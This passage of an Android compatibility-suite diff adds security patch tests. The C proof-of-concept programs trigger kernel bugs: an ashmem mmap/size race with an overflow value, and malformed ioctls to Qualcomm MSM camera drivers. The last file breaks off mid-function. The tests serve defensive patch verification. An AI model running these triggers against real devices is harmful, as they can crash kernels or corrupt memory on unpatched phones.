+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <linux/ashmem.h>
+#include <pthread.h>
+#include <sched.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+#include "local_poc.h"
+
+#define ASHMEM_CACHE_CLEAN_RANGE _IO(__ASHMEMIOC, 12)
+#define ASHMEM_CACHE_FLUSH_RANGE _IO(__ASHMEMIOC, 11)
+#define ASHMEM_CACHE_INV_RANGE _IO(__ASHMEMIOC, 13)
+
+int fd;
+void *addr;
+pthread_barrier_t barr;
+
+int thread_mmap_status = 0;
+int thread_set_size_status = 0;
+
+void *thread_mmap(void *);
+void *thread_set_size(void *);
+
+#define ORI_SIZE 4096 * 10
+
+#define OVERFLOW_SIZE 0xFFFFFFFFFFFFFFFF - ORI_SIZE
+
+int main(int argc, char **argv) {
+  int ret;
+  int i;
+  pthread_t tid[2];
+  struct stat st;
+  const char *name = "_crash";
+  struct ashmem_pin pin;
+  char *buf;
+  int size;
+  void *map_again;
+  void *map_buf[100];
+  pid_t pid;
+
+  for (i = 0; i < 10; i++) {
+    map_buf[i] =
+        mmap(NULL, 4096 * 100, PROT_READ | PROT_WRITE,
+             MAP_PRIVATE | MAP_ANONYMOUS | MAP_ANON | MAP_GROWSDOWN, -1, 0);
+    memset((char *)map_buf[i], 0x0, 4096 * 99);
+  }
+
+  while (1) {
+    pthread_barrier_init(&barr, NULL, 2);
+    thread_mmap_status = 0;
+    thread_set_size_status = 0;
+
+    fd = open("/dev/ashmem", O_RDWR);
+    if (fd < 0) {
+      return 0;
+    }
+
+    ret = ioctl(fd, ASHMEM_SET_SIZE, ORI_SIZE);
+    if (ret < 0) {
+      if (addr != MAP_FAILED) munmap(addr, ORI_SIZE);
+      close(fd);
+      continue;
+    }
+
+    ret = pthread_create(&tid[0], NULL, thread_mmap, NULL);
+    if (ret != 0) {
+      if (addr != MAP_FAILED) munmap(addr, ORI_SIZE);
+      close(fd);
+      return -1;
+    }
+
+    ret = pthread_create(&tid[1], NULL, thread_set_size, NULL);
+    if (ret != 0) {
+      if (addr != MAP_FAILED) munmap(addr, ORI_SIZE);
+      close(fd);
+      return -1;
+    }
+
+    pthread_join(tid[0], NULL);
+    pthread_join(tid[1], NULL);
+
+    errno = 0;
+    size = ioctl(fd, ASHMEM_GET_SIZE, 0);
+    if (size == (unsigned int)OVERFLOW_SIZE && addr != MAP_FAILED) break;
+  }
+
+  map_again = mmap(NULL, ORI_SIZE, PROT_READ | PROT_WRITE,
+                   MAP_SHARED | MAP_NORESERVE, fd, 0);
+
+  munmap(addr, ORI_SIZE);
+
+  for (i = 0; i < 10; i++) {
+    munmap(map_buf[i], 4096 * 100);
+  }
+
+  pid = fork();
+  if (pid == 0) {
+    for (i = 0; i < 1000; i++)
+      mmap(NULL, 4096 * 100, PROT_READ | PROT_WRITE,
+           MAP_PRIVATE | MAP_ANONYMOUS | MAP_ANON | MAP_GROWSDOWN, -1, 0);
+    memset((char *)map_buf[i], 0x0, 4096 * 99);
+
+    return 0;
+  }
+  sleep(4);
+
+  ret = ioctl(fd, ASHMEM_CACHE_CLEAN_RANGE, 0);
+
+  ret = ioctl(fd, ASHMEM_CACHE_FLUSH_RANGE, 0);
+  ret = ioctl(fd, ASHMEM_CACHE_INV_RANGE, 0);
+  munmap(map_again, ORI_SIZE);
+  close(fd);
+
+  return 0;
+}
+
+void *thread_mmap(void *arg) {
+  pthread_barrier_wait(&barr);
+  addr = mmap(NULL, ORI_SIZE, PROT_READ | PROT_WRITE,
+              MAP_SHARED | MAP_NORESERVE, fd, 0);
+
+  return NULL;
+}
+
+void *thread_set_size(void *arg) {
+  pthread_barrier_wait(&barr);
+  ioctl(fd, ASHMEM_SET_SIZE, OVERFLOW_SIZE);
+
+  return NULL;
+}
diff --git a/hostsidetests/security/securityPatch/Bug-34624155/Android.mk b/hostsidetests/security/securityPatch/Bug-34624155/Android.mk
new file mode 100644
index 0000000..0f1a737
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-34624155/Android.mk
@@ -0,0 +1,35 @@
+#Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+ include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-34624155
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-34624155/poc.c b/hostsidetests/security/securityPatch/Bug-34624155/poc.c
new file mode 100644
index 0000000..eec9d20
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-34624155/poc.c
@@ -0,0 +1,170 @@
+/**

+ * Copyright (C) 2017 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+#define _GNU_SOURCE

+#include <sys/types.h>

+#include <sys/wait.h>

+

+#include <fcntl.h>

+#include <stdbool.h>

+#include <stdio.h>

+#include <stdlib.h>

+#include <strings.h>

+#include <sys/ioctl.h>

+#include <sys/mman.h>

+#include <sys/stat.h>

+#include <unistd.h>

+

+#define BASE_VIDIOC_PRIVATE 192 /* 192-255 are private */

+

+#define CSID_VERSION_V20 0x02000011

+#define CSID_VERSION_V22 0x02001000

+#define CSID_VERSION_V30 0x30000000

+#define CSID_VERSION_V3 0x30000000

+

+enum msm_ispif_vfe_intf { VFE0, VFE1, VFE_MAX };

+#define VFE0_MASK (1 << VFE0)

+#define VFE1_MASK (1 << VFE1)

+

+enum msm_ispif_intftype { PIX0, RDI0, PIX1, RDI1, RDI2, INTF_MAX };

+#define MAX_PARAM_ENTRIES (INTF_MAX * 2)

+#define MAX_CID_CH 8

+

+#define PIX0_MASK (1 << PIX0)

+#define PIX1_MASK (1 << PIX1)

+#define RDI0_MASK (1 << RDI0)

+#define RDI1_MASK (1 << RDI1)

+#define RDI2_MASK (1 << RDI2)

+

+enum msm_ispif_vc { VC0, VC1, VC2, VC3, VC_MAX };

+

+enum msm_ispif_cid {

+  CID0,

+  CID1,

+  CID2,

+  CID3,

+  CID4,

+  CID5,

+  CID6,

+  CID7,

+  CID8,

+  CID9,

+  CID10,

+  CID11,

+  CID12,

+  CID13,

+  CID14,

+  CID15,

+  CID_MAX

+};

+

+enum msm_ispif_csid { CSID0, CSID1, CSID2, CSID3, CSID_MAX };

+

+struct msm_ispif_params_entry {

+  enum msm_ispif_vfe_intf vfe_intf;

+  enum msm_ispif_intftype intftype;

+  int num_cids;

+  enum msm_ispif_cid cids[3];

+  enum msm_ispif_csid csid;

+  int crop_enable;

+  uint16_t crop_start_pixel;

+  uint16_t crop_end_pixel;

+};

+

+struct msm_ispif_param_data {

+  uint32_t num;

+  struct msm_ispif_params_entry entries[MAX_PARAM_ENTRIES];

+};

+

+struct msm_isp_info {

+  uint32_t max_resolution;

+  uint32_t id;

+  uint32_t ver;

+};

+

+struct msm_ispif_vfe_info {

+  int num_vfe;

+  struct msm_isp_info info[VFE_MAX];

+};

+

+enum ispif_cfg_type_t {

+  ISPIF_CLK_ENABLE,

+  ISPIF_CLK_DISABLE,

+  ISPIF_INIT,

+  ISPIF_CFG,

+  ISPIF_START_FRAME_BOUNDARY,

+  ISPIF_RESTART_FRAME_BOUNDARY,

+  ISPIF_STOP_FRAME_BOUNDARY,

+  ISPIF_STOP_IMMEDIATELY,

+  ISPIF_RELEASE,

+  ISPIF_ENABLE_REG_DUMP,

+  ISPIF_SET_VFE_INFO,

+};

+

+struct ispif_cfg_data {

+  enum ispif_cfg_type_t cfg_type;

+  union {

+    int reg_dump;                       /* ISPIF_ENABLE_REG_DUMP */

+    uint32_t csid_version;              /* ISPIF_INIT */

+    struct msm_ispif_vfe_info vfe_info; /* ISPIF_SET_VFE_INFO */

+    struct msm_ispif_param_data params; /* CFG, START, STOP */

+  };

+};

+

+#define VIDIOC_MSM_ISPIF_CFG \

+  _IOWR('V', BASE_VIDIOC_PRIVATE, struct ispif_cfg_data)

+

+static const int is_bullhead = 0;

+

+char *path_table[] = {

+    "/dev/v4l-subdev17",

+    "/dev/v4l-subdev15",

+};

+

+int main(void) {

+  char subdev[32] = {0};

+  int i, fd;

+

+  struct ispif_cfg_data pcdata = {0};

+  struct ispif_cfg_data pcdata1 = {0};

+

+  pcdata1.cfg_type = ISPIF_INIT;

+  pcdata1.csid_version = CSID_VERSION_V30;

+

+  pcdata.cfg_type = ISPIF_STOP_FRAME_BOUNDARY;

+  pcdata.params.num = 1;

+

+  for (i = 0; i < pcdata.params.num; i++) {

+    pcdata.params.entries[i].vfe_intf = 0x12345601;

+    pcdata.params.entries[i].num_cids = 2;

+  }

+

+  for (i = 0; i < 32; i++) {

+    if (snprintf(subdev, sizeof(subdev), "/dev/v4l-subdev%d", i) < 0) {

+      exit(EXIT_FAILURE);

+    }

+

+    fd = open(subdev, O_RDWR);

+

+    if (fd > 0) {

+      ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &pcdata1);

+      ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &pcdata);

+      close(fd);

+    }

+

+    close(fd);

+  }

+}

diff --git a/hostsidetests/security/securityPatch/Bug-35139833/Android.mk b/hostsidetests/security/securityPatch/Bug-35139833/Android.mk
new file mode 100644
index 0000000..8865fa9
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35139833/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-35139833
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35139833/local_poc.h b/hostsidetests/security/securityPatch/Bug-35139833/local_poc.h
new file mode 100644
index 0000000..9ceba3a
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35139833/local_poc.h
@@ -0,0 +1,136 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+#ifndef __KILROY_H__
+#define __KILROY_H__
+
+typedef int ion_user_handle_t;
+
+enum ion_heap_ids {
+  INVALID_HEAP_ID = -1,
+  ION_CP_MM_HEAP_ID = 8,
+  ION_CP_MFC_HEAP_ID = 12,
+  ION_CP_WB_HEAP_ID = 16,  /* 8660 only */
+  ION_CAMERA_HEAP_ID = 20, /* 8660 only */
+  ION_SYSTEM_CONTIG_HEAP_ID = 21,
+  ION_ADSP_HEAP_ID = 22,
+  ION_PIL1_HEAP_ID = 23, /* Currently used for other PIL images */
+  ION_SF_HEAP_ID = 24,
+  ION_IOMMU_HEAP_ID = 25,
+  ION_PIL2_HEAP_ID = 26, /* Currently used for modem firmware images */
+  ION_QSECOM_HEAP_ID = 27,
+  ION_AUDIO_HEAP_ID = 28,
+
+  ION_MM_FIRMWARE_HEAP_ID = 29,
+  ION_SYSTEM_HEAP_ID = 30,
+
+  ION_HEAP_ID_RESERVED = 31 /** Bit reserved for ION_FLAG_SECURE flag */
+};
+
+/**
+ * Flag to use when allocating to indicate that a heap is secure.
+ */
+#define ION_FLAG_SECURE (1 << ION_HEAP_ID_RESERVED)
+
+/**
+ * Flag for clients to force contiguous memort allocation
+ *
+ * Use of this flag is carefully monitored!
+ */
+#define ION_FLAG_FORCE_CONTIGUOUS (1 << 30)
+
+/**
+ * Deprecated! Please use the corresponding ION_FLAG_*
+ */
+#define ION_SECURE ION_FLAG_SECURE
+#define ION_FORCE_CONTIGUOUS ION_FLAG_FORCE_CONTIGUOUS
+
+/**
+ * Macro should be used with ion_heap_ids defined above.
+ */
+#define ION_HEAP(bit) (1 << (bit))
+
+#define ION_IOC_MAGIC 'I'
+
+/**
+ * DOC: ION_IOC_ALLOC - allocate memory
+ *
+ * Takes an ion_allocation_data struct and returns it with the handle field
+ * populated with the opaque handle for the allocation.
+ */
+#define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, struct ion_allocation_data)
+
+/**
+ * DOC: ION_IOC_FREE - free memory
+ *
+ * Takes an ion_handle_data struct and frees the handle.
+ */
+#define ION_IOC_FREE _IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data)
+
+/**
+ * DOC: ION_IOC_MAP - get a file descriptor to mmap
+ *
+ * Takes an ion_fd_data struct with the handle field populated with a valid
+ * opaque handle.  Returns the struct with the fd field set to a file
+ * descriptor open in the current address space.  This file descriptor
+ * can then be used as an argument to mmap.
+ */
+#define ION_IOC_MAP _IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data)
+
+/**
+ * struct ion_allocation_data - metadata passed from userspace for allocations
+ * @len:		size of the allocation
+ * @align:		required alignment of the allocation
+ * @heap_id_mask:	mask of heap ids to allocate from
+ * @flags:		flags passed to heap
+ * @handle:		pointer that will be populated with a cookie to use to
+ *			refer to this allocation
+ *
+ * Provided by userspace as an argument to the ioctl
+ */
+struct ion_allocation_data {
+  size_t len;
+  size_t align;
+  unsigned int heap_id_mask;
+  unsigned int flags;
+  ion_user_handle_t handle;
+};
+
+/**
+ * struct ion_fd_data - metadata passed to/from userspace for a handle/fd pair
+ * @handle:	a handle
+ * @fd:		a file descriptor representing that handle
+ *
+ * For ION_IOC_SHARE or ION_IOC_MAP userspace populates the handle field with
+ * the handle returned from ion alloc, and the kernel returns the file
+ * descriptor to share or map in the fd field.  For ION_IOC_IMPORT, userspace
+ * provides the file descriptor and the kernel returns the handle.
+ */
+struct ion_fd_data {
+  ion_user_handle_t handle;
+  int fd;
+};
+
+/**
+ * struct ion_handle_data - a handle passed to/from the kernel
+ * @handle:	a handle
+ */
+struct ion_handle_data {
+  ion_user_handle_t handle;
+};
+
+#endif /* __KILROY_H__ */
diff --git a/hostsidetests/security/securityPatch/Bug-35139833/poc.c b/hostsidetests/security/securityPatch/Bug-35139833/poc.c
new file mode 100644
index 0000000..4746aaf
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35139833/poc.c
@@ -0,0 +1,432 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/wait.h>
+
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/types.h>
+#include <unistd.h>
+#include "local_poc.h"
+
+#define VIDEO_MAX_PLANES 8
+#define MAX_PLANES VIDEO_MAX_PLANES
+#define MSM_CPP_MSG_ID_TRAILER 0xABCDEFAA
+
+enum msm_cpp_batch_mode_t {
+  BATCH_MODE_NONE,
+  BATCH_MODE_VIDEO,
+  BATCH_MODE_PREVIEW
+};
+
+struct msm_cpp_batch_info_t {
+  enum msm_cpp_batch_mode_t batch_mode;
+  uint32_t batch_size;
+  uint32_t intra_plane_offset[MAX_PLANES];
+  uint32_t pick_preview_idx;
+  uint32_t cont_idx;
+};
+
+struct msm_cpp_buffer_info_t {
+  int32_t fd;
+  uint32_t index;
+  uint32_t offset;
+  uint8_t native_buff;
+  uint8_t processed_divert;
+  uint32_t identity;
+};
+
+enum msm_cpp_frame_type {
+  MSM_CPP_OFFLINE_FRAME,
+  MSM_CPP_REALTIME_FRAME,
+};
+
+struct msm_cpp_frame_info_t {
+  int32_t frame_id;
+  struct timeval timestamp;
+  uint32_t inst_id;
+  uint32_t identity;
+  uint32_t client_id;
+  enum msm_cpp_frame_type frame_type;
+  uint32_t num_strips;
+  uint32_t msg_len;
+  uint32_t *cpp_cmd_msg;
+  int src_fd;
+  int dst_fd;
+  struct timeval in_time, out_time;
+  void __user *cookie;
+  int32_t *status;
+  int32_t duplicate_output;
+  uint32_t duplicate_identity;
+  uint32_t feature_mask;
+  uint8_t we_disable;
+  struct msm_cpp_buffer_info_t input_buffer_info;
+  struct msm_cpp_buffer_info_t output_buffer_info[8];
+  struct msm_cpp_buffer_info_t duplicate_buffer_info;
+  struct msm_cpp_buffer_info_t tnr_scratch_buffer_info[2];
+  uint32_t reserved;
+  uint8_t partial_frame_indicator;
+  uint8_t first_payload;
+  uint8_t last_payload;
+  uint32_t first_stripe_index;
+  uint32_t last_stripe_index;
+  uint32_t stripe_info_offset;
+  uint32_t stripe_info;
+  struct msm_cpp_batch_info_t batch_info;
+};
+
+struct msm_camera_v4l2_ioctl_t {
+  uint32_t id;
+  size_t len;
+  int32_t trans_code;
+  void __user *ioctl_ptr;
+};
+
+struct msm_cpp_stream_buff_info_t {
+  uint32_t identity;
+  uint32_t num_buffs;
+  struct msm_cpp_buffer_info_t *buffer_info;
+};
+
+#define BASE_VIDIOC_PRIVATE 192 /* 192-255 are private */
+
+#define VIDIOC_MSM_CPP_CFG \
+  _IOWR('V', BASE_VIDIOC_PRIVATE, struct msm_camera_v4l2_ioctl_t)
+
+#define VIDIOC_MSM_CPP_IOMMU_ATTACH \
+  _IOWR('V', BASE_VIDIOC_PRIVATE + 18, struct msm_camera_v4l2_ioctl_t)
+
+#define VIDIOC_MSM_CPP_ENQUEUE_STREAM_BUFF_INFO \
+  _IOWR('V', BASE_VIDIOC_PRIVATE + 6, struct msm_camera_v4l2_ioctl_t)
+
+#define VIDIOC_MSM_CPP_POP_STREAM_BUFFER \
+  _IOWR('V', BASE_VIDIOC_PRIVATE + 17, struct msm_camera_v4l2_ioctl_t)
+
+struct v4l2_fract {
+  __u32 numerator;
+  __u32 denominator;
+};
+
+struct v4l2_outputparm {
+  __u32 capability;               /*  Supported modes */
+  __u32 outputmode;               /*  Current mode */
+  struct v4l2_fract timeperframe; /*  Time per frame in seconds */
+  __u32 extendedmode;             /*  Driver-specific extensions */
+  __u32 writebuffers;             /*  # of buffers for write */
+  __u32 reserved[4];
+};
+
+/*
+ *  CAPTURE PARAMETERS
+ */
+struct v4l2_captureparm {
+  __u32 capability;               /*  Supported modes */
+  __u32 capturemode;              /*  Current mode */
+  struct v4l2_fract timeperframe; /*  Time per frame in seconds */
+  __u32 extendedmode;             /*  Driver-specific extensions */
+  __u32 readbuffers;              /*  # of buffers for read */
+  __u32 reserved[4];
+};
+
+/*  Stream type-dependent parameters
+ */
+struct v4l2_streamparm {
+  __u32 type; /* enum v4l2_buf_type */
+  union {
+    struct v4l2_captureparm capture;
+    struct v4l2_outputparm output;
+    __u8 raw_data[200]; /* user-defined */
+  } parm;
+};
+
+#define VIDIOC_S_PARM _IOWR('V', 22, struct v4l2_streamparm)
+
+#define VIDIOC_STREAMON _IOW('V', 18, int)
+
+struct v4l2_pix_format {
+  __u32 width;
+  __u32 height;
+  __u32 pixelformat;
+  __u32 field;        /* enum v4l2_field */
+  __u32 bytesperline; /* for padding, zero if unused */
+  __u32 sizeimage;
+  __u32 colorspace; /* enum v4l2_colorspace */
+  __u32 priv;       /* private data, depends on pixelformat */
+  __u32 flags;      /* format flags (V4L2_PIX_FMT_FLAG_*) */
+};
+
+struct v4l2_plane_pix_format {
+  __u32 sizeimage;
+  __u16 bytesperline;
+  __u16 reserved[7];
+} __attribute__((packed));
+
+struct v4l2_pix_format_mplane {
+  __u32 width;
+  __u32 height;
+  __u32 pixelformat;
+  __u32 field;
+  __u32 colorspace;
+
+  struct v4l2_plane_pix_format plane_fmt[VIDEO_MAX_PLANES];
+  __u8 num_planes;
+  __u8 flags;
+  __u8 reserved[10];
+} __attribute__((packed));
+
+struct v4l2_rect {
+  __s32 left;
+  __s32 top;
+  __u32 width;
+  __u32 height;
+};
+
+struct v4l2_vbi_format {
+  __u32 sampling_rate; /* in 1 Hz */
+  __u32 offset;
+  __u32 samples_per_line;
+  __u32 sample_format; /* V4L2_PIX_FMT_* */
+  __s32 start[2];
+  __u32 count[2];
+  __u32 flags;       /* V4L2_VBI_* */
+  __u32 reserved[2]; /* must be zero */
+};
+
+struct v4l2_sliced_vbi_format {
+  __u16 service_set;
+  __u16 service_lines[2][24];
+  __u32 io_size;
+  __u32 reserved[2]; /* must be zero */
+};
+struct v4l2_sdr_format {
+  __u32 pixelformat;
+  __u32 buffersize;
+  __u8 reserved[24];
+} __attribute__((packed));
+
+struct v4l2_clip {
+  struct v4l2_rect c;
+  struct v4l2_clip __user *next;
+};
+
+struct v4l2_window {
+  struct v4l2_rect w;
+  __u32 field; /* enum v4l2_field */
+  __u32 chromakey;
+  struct v4l2_clip __user *clips;
+  __u32 clipcount;
+  void __user *bitmap;
+  __u8 global_alpha;
+};
+
+struct v4l2_format {
+  __u32 type;
+  union {
+    struct v4l2_pix_format pix; /* V4L2_BUF_TYPE_VIDEO_CAPTURE */
+    struct v4l2_pix_format_mplane
+        pix_mp;                 /* V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE */
+    struct v4l2_window win;     /* V4L2_BUF_TYPE_VIDEO_OVERLAY */
+    struct v4l2_vbi_format vbi; /* V4L2_BUF_TYPE_VBI_CAPTURE */
+    struct v4l2_sliced_vbi_format sliced; /* V4L2_BUF_TYPE_SLICED_VBI_CAPTURE */
+    struct v4l2_sdr_format sdr;           /* V4L2_BUF_TYPE_SDR_CAPTURE */
+    __u8 raw_data[200];                   /* user-defined */
+  } fmt;
+};
+
+enum v4l2_buf_type {
+  V4L2_BUF_TYPE_VIDEO_CAPTURE = 1,
+  V4L2_BUF_TYPE_VIDEO_OUTPUT = 2,
+  V4L2_BUF_TYPE_VIDEO_OVERLAY = 3,
+  V4L2_BUF_TYPE_VBI_CAPTURE = 4,
+  V4L2_BUF_TYPE_VBI_OUTPUT = 5,
+  V4L2_BUF_TYPE_SLICED_VBI_CAPTURE = 6,
+  V4L2_BUF_TYPE_SLICED_VBI_OUTPUT = 7,
+#if 1
+  /* Experimental */
+  V4L2_BUF_TYPE_VIDEO_OUTPUT_OVERLAY = 8,
+#endif
+  V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE = 9,
+  V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE = 10,
+  V4L2_BUF_TYPE_SDR_CAPTURE = 11,
+  /* Deprecated, do not use */
+  V4L2_BUF_TYPE_PRIVATE = 0x80,
+};
+
+/* map to v4l2_format.fmt.raw_data */
+struct msm_v4l2_format_data {
+  enum v4l2_buf_type type;
+  unsigned int width;
+  unsigned int height;
+  unsigned int pixelformat; /* FOURCC */
+  unsigned char num_planes;
+  unsigned int plane_sizes[VIDEO_MAX_PLANES];
+};
+
+#define VIDIOC_S_FMT _IOWR('V', 5, struct v4l2_format)
+
+struct v4l2_timecode {
+  __u32 type;
+  __u32 flags;
+  __u8 frames;
+  __u8 seconds;
+  __u8 minutes;
+  __u8 hours;
+  __u8 userbits[4];
+};
+
+struct v4l2_plane {
+  __u32 bytesused;
+  __u32 length;
+  union {
+    __u32 mem_offset;
+    unsigned long userptr;
+    __s32 fd;
+  } m;
+  __u32 data_offset;
+  __u32 reserved[11];
+};
+
+struct v4l2_buffer {
+  __u32 index;
+  __u32 type;
+  __u32 bytesused;
+  __u32 flags;
+  __u32 field;
+  struct timeval timestamp;
+  struct v4l2_timecode timecode;
+  __u32 sequence;
+
+  /* memory location */
+  __u32 memory;
+  union {
+    __u32 offset;
+    unsigned long userptr;
+    struct v4l2_plane *planes;
+    __s32 fd;
+  } m;
+  __u32 length;
+  __u32 reserved2;
+  __u32 reserved;
+};
+
+#define VIDIOC_QBUF _IOWR('V', 15, struct v4l2_buffer)
+
+/*
+ *  MEMORY-MAPPING BUFFERS
+ */
+struct v4l2_requestbuffers {
+  __u32 count;
+  __u32 type;   /* enum v4l2_buf_type */
+  __u32 memory; /* enum v4l2_memory */
+  __u32 reserved[2];
+};
+
+#define VIDIOC_REQBUFS _IOWR('V', 8, struct v4l2_requestbuffers)
+
+enum msm_camera_buf_mngr_cmd {
+  MSM_CAMERA_BUF_MNGR_CONT_MAP,
+  MSM_CAMERA_BUF_MNGR_CONT_UNMAP,
+  MSM_CAMERA_BUF_MNGR_CONT_MAX,
+};
+
+struct msm_buf_mngr_main_cont_info {
+  uint32_t session_id;
+  uint32_t stream_id;
+  enum msm_camera_buf_mngr_cmd cmd;
+  uint32_t cnt;
+  int32_t cont_fd;
+};
+
+#define MSM_CAMERA_MAX_USER_BUFF_CNT 16
+
+struct msm_camera_user_buf_cont_t {
+  unsigned int buf_cnt;
+  unsigned int buf_idx[MSM_CAMERA_MAX_USER_BUFF_CNT];
+};
+
+enum msm_camera_buf_mngr_buf_type {
+  MSM_CAMERA_BUF_MNGR_BUF_PLANAR,
+  MSM_CAMERA_BUF_MNGR_BUF_USER,
+  MSM_CAMERA_BUF_MNGR_BUF_INVALID,
+};
+
+struct msm_buf_mngr_info {
+  uint32_t session_id;
+  uint32_t stream_id;
+  uint32_t frame_id;
+  struct timeval timestamp;
+  uint32_t index;
+  uint32_t reserved;
+  enum msm_camera_buf_mngr_buf_type type;
+  struct msm_camera_user_buf_cont_t user_buf;
+};
+
+#define VIDIOC_MSM_BUF_MNGR_CONT_CMD \
+  _IOWR('V', BASE_VIDIOC_PRIVATE + 36, struct msm_buf_mngr_main_cont_info)
+#define VIDIOC_MSM_BUF_MNGR_GET_BUF \
+  _IOWR('V', BASE_VIDIOC_PRIVATE + 33, struct msm_buf_mngr_info)
+
+struct msm_camera_private_ioctl_arg {
+  __u32 id;
+  __u32 size;
+  __u32 result;
+  __u32 reserved;
+  __user __u64 ioctl_ptr;
+};
+
+#define VIDIOC_MSM_BUF_MNGR_IOCTL_CMD \
+  _IOWR('V', BASE_VIDIOC_PRIVATE + 40, struct msm_camera_private_ioctl_arg)
+
+#define MSM_CAMERA_BUF_MNGR_IOCTL_ID_GET_BUF_BY_IDX 1
+
+int main(void) {
+  int fd, ret = 0;
+  struct msm_camera_private_ioctl_arg arg;
+  struct msm_buf_mngr_info info;
+  int cmd;
+  char subdev[32] = {0};
+
+  for (int i = 0; i < 32; i++) {
